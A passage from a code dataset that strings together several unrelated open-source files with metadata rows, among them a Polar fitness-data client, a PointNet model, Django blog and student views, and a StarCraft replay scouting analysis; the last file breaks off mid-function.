if tcx_data:
utils.save_json_to_file(utils.xml_to_dict(tcx_data), f'exercises_data/tcx_data_{time}.json')
if hr_data:
utils.save_json_to_file(hr_data, f'exercises_data/hr_data_{time}.json')
if samples_data:
utils.save_json_to_file(samples_data, f'exercises_data/samples_data_{time}.json')
if sample_data:
utils.save_json_to_file(sample_data, f'exercises_data/sample_data_{time}.json')
transaction.commit()
def get_daily_activity(self):
transaction = self.accesslink.daily_activity.create_transaction(user_id=self.config['user_id'],
access_token=self.config['access_token'])
if not transaction:
print('No new daily activity available.')
return
resource_urls = transaction.list_activities()['activity-log']
for url in resource_urls:
activity_summary = transaction.get_activity_summary(url)
print('Activity summary:')
utils.pretty_print_json(activity_summary)
utils.save_json_to_file(activity_summary, f'daily_activity_data/daily_activity_data_{str(activity_summary["date"])}.json')
transaction.commit()
def get_physical_info(self):
transaction = self.accesslink.physical_info.create_transaction(user_id=self.config['user_id'],
access_token=self.config['access_token'])
if not transaction:
print('No new physical information available.')
return
resource_urls = transaction.list_physical_infos()['physical-informations']
for url in resource_urls:
physical_info = transaction.get_physical_info(url)
print('Physical info:')
utils.pretty_print_json(physical_info)
time = utils.polar_datetime_to_python_datetime_str(str(physical_info['created']))
utils.save_json_to_file(physical_info, f'physical_data/physical_data{time}.json')
transaction.commit()
if __name__ == '__main__':
PolarAccessLinkExample()
| 37.816092 | 134 | 0.606383 |
from __future__ import print_function
import utils
from accesslink import AccessLink
from datetime import datetime
try:
input = raw_input
except NameError:
pass
CONFIG_FILENAME = 'config.yml'
class PolarAccessLinkExample(object):
def __init__(self):
self.config = utils.load_config(CONFIG_FILENAME)
if 'access_token' not in self.config:
print('Authorization is required. Run authorization.py first.')
return
self.accesslink = AccessLink(client_id=self.config['client_id'],
client_secret=self.config['client_secret'])
self.running = True
self.show_menu()
def show_menu(self):
while self.running:
print('\nChoose an option:\n' +
'-----------------------\n' +
' 1 => Get data\n' +
' 2 => Revoke access token\n' +
'-1 => Exit\n' +
'-----------------------')
self.get_menu_choice()
def get_menu_choice(self):
choice = input('> ')
{
'1': self.get_all_data,
'2': self.revoke_access_token,
'-1': self.exit
}.get(choice, self.get_menu_choice)()
def get_all_data(self):
self.get_user_information()
self.check_available_data()
def get_user_information(self):
user_info = self.accesslink.users.get_information(user_id=self.config['user_id'],
access_token=self.config['access_token'])
print('==========\tUSER INFORMATION\t==========')
utils.pretty_print_json(user_info)
utils.save_json_to_file(user_info, f'user_data/user_data_{datetime.today().strftime("%Y-%m-%d")}.json')
def check_available_data(self):
available_data = self.accesslink.pull_notifications.list()
print('==========\tDATA\t==========')
if not available_data:
print('No new data available.')
return
print('Available data:')
utils.pretty_print_json(available_data)
for item in available_data['available-user-data']:
if item['data-type'] == 'EXERCISE':
self.get_exercises()
elif item['data-type'] == 'ACTIVITY_SUMMARY':
self.get_daily_activity()
elif item['data-type'] == 'PHYSICAL_INFORMATION':
self.get_physical_info()
def revoke_access_token(self):
self.accesslink.users.delete(user_id=self.config['user_id'],
access_token=self.config['access_token'])
del self.config['access_token']
del self.config['user_id']
utils.save_config(self.config, CONFIG_FILENAME)
print('Access token was successfully revoked.')
self.exit()
def exit(self):
self.running = False
def get_exercises(self):
transaction = self.accesslink.training_data.create_transaction(user_id=self.config['user_id'],
access_token=self.config['access_token'])
if not transaction:
print('No new exercises available.')
return
resource_urls = transaction.list_exercises()['exercises']
for url in resource_urls:
exercise_summary = transaction.get_exercise_summary(url)
gpx_data = transaction.get_gpx(url)
tcx_data = transaction.get_tcx(url)
hr_data = transaction.get_heart_rate_zones(url)
samples_data = transaction.get_available_samples(url)
sample_data = transaction.get_samples(url)
print('Exercise summary:')
utils.pretty_print_json(exercise_summary)
time = utils.polar_datetime_to_python_datetime_str(str(exercise_summary['start-time']))
utils.save_json_to_file(exercise_summary, f'exercises_data/summary_data_{time}.json')
if gpx_data:
utils.save_json_to_file(utils.xml_to_dict(gpx_data), f'exercises_data/gpx_data_{time}.json')
if tcx_data:
utils.save_json_to_file(utils.xml_to_dict(tcx_data), f'exercises_data/tcx_data_{time}.json')
if hr_data:
utils.save_json_to_file(hr_data, f'exercises_data/hr_data_{time}.json')
if samples_data:
utils.save_json_to_file(samples_data, f'exercises_data/samples_data_{time}.json')
if sample_data:
utils.save_json_to_file(sample_data, f'exercises_data/sample_data_{time}.json')
transaction.commit()
def get_daily_activity(self):
transaction = self.accesslink.daily_activity.create_transaction(user_id=self.config['user_id'],
access_token=self.config['access_token'])
if not transaction:
print('No new daily activity available.')
return
resource_urls = transaction.list_activities()['activity-log']
for url in resource_urls:
activity_summary = transaction.get_activity_summary(url)
print('Activity summary:')
utils.pretty_print_json(activity_summary)
utils.save_json_to_file(activity_summary, f'daily_activity_data/daily_activity_data_{str(activity_summary["date"])}.json')
transaction.commit()
def get_physical_info(self):
transaction = self.accesslink.physical_info.create_transaction(user_id=self.config['user_id'],
access_token=self.config['access_token'])
if not transaction:
print('No new physical information available.')
return
resource_urls = transaction.list_physical_infos()['physical-informations']
for url in resource_urls:
physical_info = transaction.get_physical_info(url)
print('Physical info:')
utils.pretty_print_json(physical_info)
time = utils.polar_datetime_to_python_datetime_str(str(physical_info['created']))
utils.save_json_to_file(physical_info, f'physical_data/physical_data{time}.json')
transaction.commit()
if __name__ == '__main__':
PolarAccessLinkExample()
| true | true |
f7f365e259937ec2bb930b39104276320a4c43fd | 1,454 | py | Python | Deep Learning/Implementation_3/models/pointnet_cls.py | rajahaseeb147/3dFacialPartSegmentation | aedfed75558761295e9bf602b18c2c3b631080e5 | [
"MIT"
] | null | null | null | Deep Learning/Implementation_3/models/pointnet_cls.py | rajahaseeb147/3dFacialPartSegmentation | aedfed75558761295e9bf602b18c2c3b631080e5 | [
"MIT"
] | null | null | null | Deep Learning/Implementation_3/models/pointnet_cls.py | rajahaseeb147/3dFacialPartSegmentation | aedfed75558761295e9bf602b18c2c3b631080e5 | [
"MIT"
] | 1 | 2021-11-03T01:33:26.000Z | 2021-11-03T01:33:26.000Z | import torch.nn as nn
import torch.utils.data
import torch.nn.functional as F
from pointnet_utils import PointNetEncoder, feature_transform_reguliarzer
class get_model(nn.Module):
def __init__(self, k=40, normal_channel=True):
super(get_model, self).__init__()
if normal_channel:
channel = 6
else:
channel = 3
self.feat = PointNetEncoder(global_feat=True, feature_transform=True, channel=channel)
self.fc1 = nn.Linear(1024, 512)
self.fc2 = nn.Linear(512, 256)
self.fc3 = nn.Linear(256, k)
self.dropout = nn.Dropout(p=0.4)
self.bn1 = nn.BatchNorm1d(512)
self.bn2 = nn.BatchNorm1d(256)
self.relu = nn.ReLU()
def forward(self, x):
x, trans, trans_feat = self.feat(x)
x = F.relu(self.bn1(self.fc1(x)))
x = F.relu(self.bn2(self.dropout(self.fc2(x))))
x = self.fc3(x)
x = F.log_softmax(x, dim=1)
return x, trans_feat
class get_loss(torch.nn.Module):
def __init__(self, mat_diff_loss_scale=0.001):
super(get_loss, self).__init__()
self.mat_diff_loss_scale = mat_diff_loss_scale
def forward(self, pred, target, trans_feat):
loss = F.nll_loss(pred, target)
mat_diff_loss = feature_transform_reguliarzer(trans_feat)
total_loss = loss + mat_diff_loss * self.mat_diff_loss_scale
return total_loss
| 35.463415 | 95 | 0.627235 | import torch.nn as nn
import torch.utils.data
import torch.nn.functional as F
from pointnet_utils import PointNetEncoder, feature_transform_reguliarzer
class get_model(nn.Module):
def __init__(self, k=40, normal_channel=True):
super(get_model, self).__init__()
if normal_channel:
channel = 6
else:
channel = 3
self.feat = PointNetEncoder(global_feat=True, feature_transform=True, channel=channel)
self.fc1 = nn.Linear(1024, 512)
self.fc2 = nn.Linear(512, 256)
self.fc3 = nn.Linear(256, k)
self.dropout = nn.Dropout(p=0.4)
self.bn1 = nn.BatchNorm1d(512)
self.bn2 = nn.BatchNorm1d(256)
self.relu = nn.ReLU()
def forward(self, x):
x, trans, trans_feat = self.feat(x)
x = F.relu(self.bn1(self.fc1(x)))
x = F.relu(self.bn2(self.dropout(self.fc2(x))))
x = self.fc3(x)
x = F.log_softmax(x, dim=1)
return x, trans_feat
class get_loss(torch.nn.Module):
def __init__(self, mat_diff_loss_scale=0.001):
super(get_loss, self).__init__()
self.mat_diff_loss_scale = mat_diff_loss_scale
def forward(self, pred, target, trans_feat):
loss = F.nll_loss(pred, target)
mat_diff_loss = feature_transform_reguliarzer(trans_feat)
total_loss = loss + mat_diff_loss * self.mat_diff_loss_scale
return total_loss
| true | true |
f7f366ca2bf88a72b2696ed05e837c7eee603164 | 705 | py | Python | dj/scripts/assocdv.py | kattekrab/veyepar | d7010e451b1b04e7eb7b5ee0239696958ada41d6 | [
"MIT"
] | null | null | null | dj/scripts/assocdv.py | kattekrab/veyepar | d7010e451b1b04e7eb7b5ee0239696958ada41d6 | [
"MIT"
] | null | null | null | dj/scripts/assocdv.py | kattekrab/veyepar | d7010e451b1b04e7eb7b5ee0239696958ada41d6 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# creates cutlist items for dv files that might belong to an episode
import os, datetime
import process
from main.models import Location, Episode, Raw_File, Cut_List, Client, Show
from main.views import mk_cuts
from django.db.models import Q
class ass_dv(process.process):
ready_state = 1
# hook for run_tests to hack some values into
cuts=[]
def process_ep(self, episode):
# skip if there is already a cut list
# if episode.cut_list_set.count():
# return
self.cuts = mk_cuts(episode,
start_slop=5, end_slop=11)
print "self.cuts", self.cuts
if __name__=='__main__':
p=ass_dv()
p.main()
| 21.363636 | 75 | 0.656738 |
import os, datetime
import process
from main.models import Location, Episode, Raw_File, Cut_List, Client, Show
from main.views import mk_cuts
from django.db.models import Q
class ass_dv(process.process):
ready_state = 1
cuts=[]
def process_ep(self, episode):
self.cuts = mk_cuts(episode,
start_slop=5, end_slop=11)
print "self.cuts", self.cuts
if __name__=='__main__':
p=ass_dv()
p.main()
| false | true |
f7f3674a0350914e582535a748f06646ec752713 | 1,439 | py | Python | blog/views.py | IvanSotelo/Django | 4ebc00aa079650e103d81a79e042eab438c17969 | [
"MIT"
] | 1 | 2019-01-11T01:09:29.000Z | 2019-01-11T01:09:29.000Z | blog/views.py | IvanSotelo/Django | 4ebc00aa079650e103d81a79e042eab438c17969 | [
"MIT"
] | null | null | null | blog/views.py | IvanSotelo/Django | 4ebc00aa079650e103d81a79e042eab438c17969 | [
"MIT"
] | null | null | null | from django.shortcuts import render
from django.utils import timezone
from django.shortcuts import redirect, render, get_object_or_404
from .models import Post
from .forms import PostForm
# Create your views here.
def post_list(request):
posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date')
return render(request, 'blog/post_list.html', {'posts': posts})
def post_detail(request, pk):
post = get_object_or_404(Post, pk=pk)
return render(request, 'blog/post_detail.html', {'post': post})
def post_new(request):
if request.method == "POST":
form = PostForm(request.POST)
if form.is_valid():
post = form.save(commit=False)
post.author = request.user
post.published_date = timezone.now()
post.save()
return redirect('post_detail', pk=post.pk)
else:
form = PostForm()
return render(request, 'blog/post_edit.html', {'form': form})
def post_edit(request, pk):
post = get_object_or_404(Post, pk=pk)
if request.method == "POST":
form = PostForm(request.POST, instance=post)
if form.is_valid():
post = form.save(commit=False)
post.author = request.user
post.save()
return redirect('post_detail', pk=post.pk)
else:
form = PostForm(instance=post)
return render(request, 'blog/post_edit.html', {'form': form})
| 35.097561 | 94 | 0.651842 | from django.shortcuts import render
from django.utils import timezone
from django.shortcuts import redirect, render, get_object_or_404
from .models import Post
from .forms import PostForm
def post_list(request):
posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date')
return render(request, 'blog/post_list.html', {'posts': posts})
def post_detail(request, pk):
post = get_object_or_404(Post, pk=pk)
return render(request, 'blog/post_detail.html', {'post': post})
def post_new(request):
if request.method == "POST":
form = PostForm(request.POST)
if form.is_valid():
post = form.save(commit=False)
post.author = request.user
post.published_date = timezone.now()
post.save()
return redirect('post_detail', pk=post.pk)
else:
form = PostForm()
return render(request, 'blog/post_edit.html', {'form': form})
def post_edit(request, pk):
post = get_object_or_404(Post, pk=pk)
if request.method == "POST":
form = PostForm(request.POST, instance=post)
if form.is_valid():
post = form.save(commit=False)
post.author = request.user
post.save()
return redirect('post_detail', pk=post.pk)
else:
form = PostForm(instance=post)
return render(request, 'blog/post_edit.html', {'form': form})
| true | true |
f7f3699ada9f49cc472b5ad6d7f87253e40e9c8f | 232 | py | Python | bostaSDK/utils/__init__.py | bostaapp/bosta-python | df3f48dafac49b2577669fd4d74a5e5e9d28f2c1 | [
"MIT"
] | null | null | null | bostaSDK/utils/__init__.py | bostaapp/bosta-python | df3f48dafac49b2577669fd4d74a5e5e9d28f2c1 | [
"MIT"
] | 1 | 2020-11-18T11:01:32.000Z | 2020-11-18T11:10:52.000Z | bostaSDK/utils/__init__.py | bostaapp/bosta-python | df3f48dafac49b2577669fd4d74a5e5e9d28f2c1 | [
"MIT"
] | null | null | null |
from .Address import Address
from .Receiver import Receiver
from .DeliverySpecs import DeliverySpecs
from .ContactPerson import ContactPerson
from .DeliveryTypes import DELIVERY_TYPES
from .PickupTimeSlots import PICKUP_TIME_SLOTS
| 29 | 46 | 0.866379 |
from .Address import Address
from .Receiver import Receiver
from .DeliverySpecs import DeliverySpecs
from .ContactPerson import ContactPerson
from .DeliveryTypes import DELIVERY_TYPES
from .PickupTimeSlots import PICKUP_TIME_SLOTS
| true | true |
f7f369b8887466dc79fa4bffa55c18561c84d8db | 716 | py | Python | clients/python-fastapi/generated/src/openapi_server/models/clock_difference.py | cliffano/jenkins-api-clients-generator | 522d02b3a130a29471df5ec1d3d22c822b3d0813 | [
"MIT"
] | null | null | null | clients/python-fastapi/generated/src/openapi_server/models/clock_difference.py | cliffano/jenkins-api-clients-generator | 522d02b3a130a29471df5ec1d3d22c822b3d0813 | [
"MIT"
] | null | null | null | clients/python-fastapi/generated/src/openapi_server/models/clock_difference.py | cliffano/jenkins-api-clients-generator | 522d02b3a130a29471df5ec1d3d22c822b3d0813 | [
"MIT"
] | null | null | null | # coding: utf-8
from __future__ import annotations
from datetime import date, datetime # noqa: F401
import re # noqa: F401
from typing import Any, Dict, List, Optional # noqa: F401
from pydantic import AnyUrl, BaseModel, EmailStr, validator # noqa: F401
class ClockDifference(BaseModel):
"""NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
Do not edit the class manually.
ClockDifference - a model defined in OpenAPI
_class: The _class of this ClockDifference [Optional].
diff: The diff of this ClockDifference [Optional].
"""
_class: Optional[str] = None
diff: Optional[int] = None
ClockDifference.update_forward_refs()
| 26.518519 | 96 | 0.72067 |
from __future__ import annotations
from datetime import date, datetime
import re
from typing import Any, Dict, List, Optional
from pydantic import AnyUrl, BaseModel, EmailStr, validator
class ClockDifference(BaseModel):
_class: Optional[str] = None
diff: Optional[int] = None
ClockDifference.update_forward_refs()
| true | true |
f7f369f87b1eff287eabdda0971dcb941af72bc8 | 7,679 | py | Python | starcraft/scouting_time.py | awb-carleton/pattern-analysis | 532066398f2d102031aaa86b9a7c739ee16ceb9c | [
"MIT"
] | null | null | null | starcraft/scouting_time.py | awb-carleton/pattern-analysis | 532066398f2d102031aaa86b9a7c739ee16ceb9c | [
"MIT"
] | null | null | null | starcraft/scouting_time.py | awb-carleton/pattern-analysis | 532066398f2d102031aaa86b9a7c739ee16ceb9c | [
"MIT"
] | null | null | null | # Intended to be used for data visualization of when players scout
# during StarCraft 2
from __future__ import print_function
import csv
import sc2reader
import time
import file_locations
from functools import partial
from multiprocessing import Pool, cpu_count
from collections import Counter
from itertools import repeat
import scouting_stats
import unit_prediction
import scouting_detector
import file_locations
from load_map_path_data import load_path_data
from sc2reader.engine.plugins import SelectionTracker, APMTracker
from selection_plugin import ActiveSelection
from battle_detector import buildBattleList, remove_scouting_during_battle, \
remove_scouting_during_battles_and_harassment
from base_plugins import BaseTracker
from generate_replay_info import group_replays_by_map
import numpy as np
import traceback
from modified_rank_plugin import ModifiedRank
from data_analysis_helper import run, save
from collections import namedtuple
scouting_instance_fields = namedtuple("scouting_instance_fields",
("GameID", "UID", "PID", "Rank", "Race",
"ScoutingStartTime", "ScoutingEndTime", "ScoutingType", "LocationX", "LocationY", "DuringEngagement", "Winner"))
try:
from reprlib import repr
except ImportError:
pass
def generateFields(filename, map_path_data):
'''generateFields takes in a filename of a replay, loads it and gathers necessary
statistics, and returns the statistics in a tuple. It is to be used to write
these stats to a csv. It also takes in an integer (1 or 2), which indicates
which statistics will be gathered. In this case, generateFields gathers
each point in the game where a period of scouting is initiated. Inputting a
1 will return times as a fraction of the total game time, whereas inputting
a 2 will return absolute frames.'''
# loading the replay
try:
t = time.time()
# extracting the game id and adding the correct tag
# pathname = "practice_replays/" + filename
pathname = file_locations.REPLAY_FILE_DIRECTORY + "/" + filename
game_id = filename.split("_")[1].split(".")[0]
if filename.startswith("ggg"):
game_id = "ggg-" + game_id
elif filename.startswith("spawningtool"):
game_id = "st-" + game_id
# loading the replay
try:
r = sc2reader.load_replay(pathname)
if any(v != (0, {}) for v in r.plugin_result.values()):
print(pathname, r.plugin_result)
except:
print(filename, "cannot load using sc2reader due to an internal ValueError")
raise
team1_times, team2_times = scouting_detector.get_scouting_instances(r, map_path_data)
# team1_times, team2_times = remove_scouting_during_battles_and_harassment(r, scouting_instances)
team1_rank, team1_rel_rank, team2_rank, team2_rel_rank = scouting_stats.ranking_stats(r)
team1_uid = r.players[0].detail_data['bnet']['uid']
team2_uid = r.players[1].detail_data['bnet']['uid']
team1_race = r.players[0].play_race
team2_race = r.players[1].play_race
results = []
for instance in team1_times:
results.append(
scouting_instance_fields(game_id, team1_uid, 1, team1_rank, team1_race, instance.start_time,
instance.end_time, instance.scouting_type, instance.location[0], instance.location[1], instance.during_battle, r.winner.players[0].pid))
for instance in team2_times:
results.append(scouting_instance_fields(game_id, team2_uid, 2, team2_rank, team2_race, instance.start_time,
instance.end_time, instance.scouting_type, instance.location[0], instance.location[1], instance.during_battle, r.winner.players[0].pid))
return results
except KeyboardInterrupt:
raise
except:
traceback.print_exc()
return
def writeToCsv(which, filename):
'''writeToCsv gathers information about all valid replays and writes
that information to a csv for analysis in R. This file in particular
contains information about when players initiate periods of scouting.
It takes an integer (1 or 2), which indicates which statistics will be
gathered. Inputting a 1 will gather times as a fraction of the total game
time, whereas inputting a 2 will gather absolute frames.
It also takes in the name of the csv file that the information will be
written to.'''
# valid_game_ids.txt must be produced first by running scouting_stats.py
# with the command line argument -w
results = []
with Pool(min(cpu_count(), 60)) as pool:
count = 0
for map_name_group, replays in group_replays_by_map().items():
map_path_data = load_path_data(map_name_group)
if map_path_data is None:
print("no path data for map", map_name_group)
continue
print("loaded path data for map", map_name_group, "with", len(replays), "replays")
count += len(replays)
map_time = time.time()
new_results = pool.map(partial(generateFields, which=which, map_path_data=map_path_data), replays)
print("analyzing", len(replays), "replays for map", map_name_group, "took", time.time() - map_time)
for result in new_results:
results.append(result)
with open(filename, 'w', newline='') as my_csv:
events_out = csv.DictWriter(my_csv,
fieldnames=["GameID", "UID", "Rank", "Race", "ScoutStartTime", "ScoutEndTime",
"ScoutType"])
events_out.writeheader()
for fields in results:
if fields:
game_id = fields[0]
uid = fields[1]
rank = fields[2]
times = fields[3]
race = fields[7]
for scouting_time in times:
events_out.writerow(
{"GameID": game_id, "UID": uid, "Rank": rank, "Race": race,
"ScoutStartTime": scouting_time.start_time, "ScoutEndTime": scouting_time.end_time,
"ScoutType": scouting_time.scouting_type})
uid = fields[4]
rank = fields[5]
times = fields[6]
race = fields[8]
for scouting_time in times:
events_out.writerow(
{"GameID": game_id, "UID": uid, "Rank": rank, "Race": race,
"ScoutStartTime": scouting_time.start_time, "ScoutEndTime": scouting_time.end_time,
"ScoutType": scouting_time.scouting_type})
if __name__ == "__main__":
sc2reader.engine.register_plugin(APMTracker())
sc2reader.engine.register_plugin(SelectionTracker())
sc2reader.engine.register_plugin(ModifiedRank())
sc2reader.engine.register_plugin(ActiveSelection())
bt = BaseTracker()
# bt.logger.setLevel(logging.ERROR)
# bt.logger.addHandler(logging.StreamHandler(sys.stdout))
sc2reader.engine.register_plugin(bt)
# sc2reader.log_utils.add_log_handler(logging.StreamHandler(sys.stdout), "INFO")
results = run(generateFields)
save(results, "scouting_instances_gm")
# with open("missing_unit_speeds.txt", "r") as file:
# file.writelines(scouting_detector.missing_units)
# with open("missing_unit_vision.txt", "r") as file:
# file.writelines(unit_prediction.missing_units)
| 46.823171 | 189 | 0.655945 |
from __future__ import print_function
import csv
import sc2reader
import time
import file_locations
from functools import partial
from multiprocessing import Pool, cpu_count
from collections import Counter
from itertools import repeat
import scouting_stats
import unit_prediction
import scouting_detector
import file_locations
from load_map_path_data import load_path_data
from sc2reader.engine.plugins import SelectionTracker, APMTracker
from selection_plugin import ActiveSelection
from battle_detector import buildBattleList, remove_scouting_during_battle, \
remove_scouting_during_battles_and_harassment
from base_plugins import BaseTracker
from generate_replay_info import group_replays_by_map
import numpy as np
import traceback
from modified_rank_plugin import ModifiedRank
from data_analysis_helper import run, save
from collections import namedtuple
scouting_instance_fields = namedtuple("scouting_instance_fields",
("GameID", "UID", "PID", "Rank", "Race",
"ScoutingStartTime", "ScoutingEndTime", "ScoutingType", "LocationX", "LocationY", "DuringEngagement", "Winner"))
try:
from reprlib import repr
except ImportError:
pass
def generateFields(filename, map_path_data):
try:
t = time.time()
pathname = file_locations.REPLAY_FILE_DIRECTORY + "/" + filename
game_id = filename.split("_")[1].split(".")[0]
if filename.startswith("ggg"):
game_id = "ggg-" + game_id
elif filename.startswith("spawningtool"):
game_id = "st-" + game_id
try:
r = sc2reader.load_replay(pathname)
if any(v != (0, {}) for v in r.plugin_result.values()):
print(pathname, r.plugin_result)
except:
print(filename, "cannot load using sc2reader due to an internal ValueError")
raise
team1_times, team2_times = scouting_detector.get_scouting_instances(r, map_path_data)
team1_rank, team1_rel_rank, team2_rank, team2_rel_rank = scouting_stats.ranking_stats(r)
team1_uid = r.players[0].detail_data['bnet']['uid']
team2_uid = r.players[1].detail_data['bnet']['uid']
team1_race = r.players[0].play_race
team2_race = r.players[1].play_race
results = []
for instance in team1_times:
results.append(
scouting_instance_fields(game_id, team1_uid, 1, team1_rank, team1_race, instance.start_time,
instance.end_time, instance.scouting_type, instance.location[0], instance.location[1], instance.during_battle, r.winner.players[0].pid))
for instance in team2_times:
results.append(scouting_instance_fields(game_id, team2_uid, 2, team2_rank, team2_race, instance.start_time,
instance.end_time, instance.scouting_type, instance.location[0], instance.location[1], instance.during_battle, r.winner.players[0].pid))
return results
except KeyboardInterrupt:
raise
except:
traceback.print_exc()
return
def writeToCsv(which, filename):
results = []
with Pool(min(cpu_count(), 60)) as pool:
count = 0
for map_name_group, replays in group_replays_by_map().items():
map_path_data = load_path_data(map_name_group)
if map_path_data is None:
print("no path data for map", map_name_group)
continue
print("loaded path data for map", map_name_group, "with", len(replays), "replays")
count += len(replays)
map_time = time.time()
new_results = pool.map(partial(generateFields, which=which, map_path_data=map_path_data), replays)
print("analyzing", len(replays), "replays for map", map_name_group, "took", time.time() - map_time)
for result in new_results:
results.append(result)
with open(filename, 'w', newline='') as my_csv:
events_out = csv.DictWriter(my_csv,
fieldnames=["GameID", "UID", "Rank", "Race", "ScoutStartTime", "ScoutEndTime",
"ScoutType"])
events_out.writeheader()
for fields in results:
if fields:
game_id = fields[0]
uid = fields[1]
rank = fields[2]
times = fields[3]
race = fields[7]
for scouting_time in times:
events_out.writerow(
{"GameID": game_id, "UID": uid, "Rank": rank, "Race": race,
"ScoutStartTime": scouting_time.start_time, "ScoutEndTime": scouting_time.end_time,
"ScoutType": scouting_time.scouting_type})
uid = fields[4]
rank = fields[5]
times = fields[6]
race = fields[8]
for scouting_time in times:
events_out.writerow(
{"GameID": game_id, "UID": uid, "Rank": rank, "Race": race,
"ScoutStartTime": scouting_time.start_time, "ScoutEndTime": scouting_time.end_time,
"ScoutType": scouting_time.scouting_type})
if __name__ == "__main__":
sc2reader.engine.register_plugin(APMTracker())
sc2reader.engine.register_plugin(SelectionTracker())
sc2reader.engine.register_plugin(ModifiedRank())
sc2reader.engine.register_plugin(ActiveSelection())
bt = BaseTracker()
sc2reader.engine.register_plugin(bt)
results = run(generateFields)
save(results, "scouting_instances_gm")
| true | true |
f7f36a41bfcf34aa06e527ede0c75cb8120714d1 | 977 | py | Python | structured/__init__.py | db434/nn-restrict | bc46725d01db9555e1cd9f2068b25a1dee8912ce | [
"MIT"
] | null | null | null | structured/__init__.py | db434/nn-restrict | bc46725d01db9555e1cd9f2068b25a1dee8912ce | [
"MIT"
] | null | null | null | structured/__init__.py | db434/nn-restrict | bc46725d01db9555e1cd9f2068b25a1dee8912ce | [
"MIT"
] | null | null | null | from . import butterfly_old2
from . import butterfly_old
from . import butterfly
from . import deep_roots
from . import depthwise_butterfly
from . import depthwise_separable
from . import depthwise_shuffle
from . import fully_connected
from . import hadamard
from . import shift
from . import shuffle
__all__ = ["butterfly_old2", "deep_roots", "depthwise_separable",
"fully_connected", "hadamard", "shift", "shuffle",
"depthwise_butterfly", "depthwise_shuffle",
"butterfly_old", "butterfly"]
conv2d_types = {
'butterfly_old2': butterfly_old2.Conv2d,
'butterfly_old': butterfly_old.Conv2d,
'butterfly': butterfly.Conv2d,
'fc': fully_connected.Conv2d,
'hadamard': hadamard.Conv2d,
'roots': deep_roots.Conv2d,
'separable': depthwise_separable.Conv2d,
'separable_butterfly': depthwise_butterfly.Conv2d,
'separable_shuffle': depthwise_shuffle.Conv2d,
'shift': shift.Conv2d,
'shuffle': shuffle.Conv2d,
}
| 31.516129 | 65 | 0.727738 | from . import butterfly_old2
from . import butterfly_old
from . import butterfly
from . import deep_roots
from . import depthwise_butterfly
from . import depthwise_separable
from . import depthwise_shuffle
from . import fully_connected
from . import hadamard
from . import shift
from . import shuffle
__all__ = ["butterfly_old2", "deep_roots", "depthwise_separable",
"fully_connected", "hadamard", "shift", "shuffle",
"depthwise_butterfly", "depthwise_shuffle",
"butterfly_old", "butterfly"]
conv2d_types = {
'butterfly_old2': butterfly_old2.Conv2d,
'butterfly_old': butterfly_old.Conv2d,
'butterfly': butterfly.Conv2d,
'fc': fully_connected.Conv2d,
'hadamard': hadamard.Conv2d,
'roots': deep_roots.Conv2d,
'separable': depthwise_separable.Conv2d,
'separable_butterfly': depthwise_butterfly.Conv2d,
'separable_shuffle': depthwise_shuffle.Conv2d,
'shift': shift.Conv2d,
'shuffle': shuffle.Conv2d,
}
| true | true |
f7f36adcad1c0d04fa6ec62131a760745e4b333c | 344 | py | Python | v.py | altg0x0/16_sorting | 2a52fe62451f032b91c4a4d4b953bd505362fc17 | [
"Unlicense"
] | null | null | null | v.py | altg0x0/16_sorting | 2a52fe62451f032b91c4a4d4b953bd505362fc17 | [
"Unlicense"
] | null | null | null | v.py | altg0x0/16_sorting | 2a52fe62451f032b91c4a4d4b953bd505362fc17 | [
"Unlicense"
] | null | null | null | from bisect import bisect, bisect_left
l, n, m = map(int, input().split())
lp = []
rp = []
points = []
for __ in range(n):
inp = list(map(int, input().split()))
lp.append(inp[0])
rp.append(inp[1])
for __ in range(m):
points.append(int(input()))
lp.sort()
rp.sort()
for i in points:
print(bisect(lp, i) - bisect_left(rp, i))
| 21.5 | 45 | 0.601744 | from bisect import bisect, bisect_left
l, n, m = map(int, input().split())
lp = []
rp = []
points = []
for __ in range(n):
inp = list(map(int, input().split()))
lp.append(inp[0])
rp.append(inp[1])
for __ in range(m):
points.append(int(input()))
lp.sort()
rp.sort()
for i in points:
print(bisect(lp, i) - bisect_left(rp, i))
| true | true |
f7f36b88a9cfd56106c4f9e521e0d9d0492f882f | 228 | py | Python | timestamp.py | CapnSane/craziest-epic-urban-waddle | ad64cabf3ded00f843af1b4d20c86ae3ff96787c | [
"BSD-3-Clause"
] | null | null | null | timestamp.py | CapnSane/craziest-epic-urban-waddle | ad64cabf3ded00f843af1b4d20c86ae3ff96787c | [
"BSD-3-Clause"
] | null | null | null | timestamp.py | CapnSane/craziest-epic-urban-waddle | ad64cabf3ded00f843af1b4d20c86ae3ff96787c | [
"BSD-3-Clause"
] | null | null | null | from datetime import datetime
timestamp = int(637776829355875500 / 10**9)
print("timestamp", timestamp)
dt_object = datetime.fromtimestamp(timestamp)
print("dt_object =", dt_object)
print("type(dt_object) =", type(dt_object))
| 25.333333 | 45 | 0.767544 | from datetime import datetime
timestamp = int(637776829355875500 / 10**9)
print("timestamp", timestamp)
dt_object = datetime.fromtimestamp(timestamp)
print("dt_object =", dt_object)
print("type(dt_object) =", type(dt_object))
| true | true |
f7f36ba718a990c210ad69133cf23bd54e5031e4 | 2,848 | py | Python | apps/estudiantes/views.py | dezcor/Cotaau | 1914e5fac77734a9e82c3b49110da3ebe079d618 | [
"Apache-2.0"
] | null | null | null | apps/estudiantes/views.py | dezcor/Cotaau | 1914e5fac77734a9e82c3b49110da3ebe079d618 | [
"Apache-2.0"
] | null | null | null | apps/estudiantes/views.py | dezcor/Cotaau | 1914e5fac77734a9e82c3b49110da3ebe079d618 | [
"Apache-2.0"
] | null | null | null | from django.shortcuts import render
from django.http import HttpResponseRedirect
from django.urls import reverse_lazy
# Create your views here.
from django.views.generic import ListView,CreateView,UpdateView
from apps.estudiantes.models import Estudiante
from django.contrib.auth.models import User
from apps.estudiantes.forms import EstudianteForm, RegistroForm, UpdateRegsForm, UpdateEstudenFrom
from django.contrib.auth.views import LoginView
class Login(LoginView):
success_url = reverse_lazy("conferencia:index")
class CrearUsuario(CreateView):
model = Estudiante
template_name = 'estudiantes/Estudiante_form2.html'
form_class = EstudianteForm
second_form_class = RegistroForm
success_url = reverse_lazy("login")
def get_context_data(self, **kwargs):
context = super(CrearUsuario,self).get_context_data(**kwargs)
if 'form' not in context:
context['form'] = self.form_class(self.request.GET)
if 'form2' not in context:
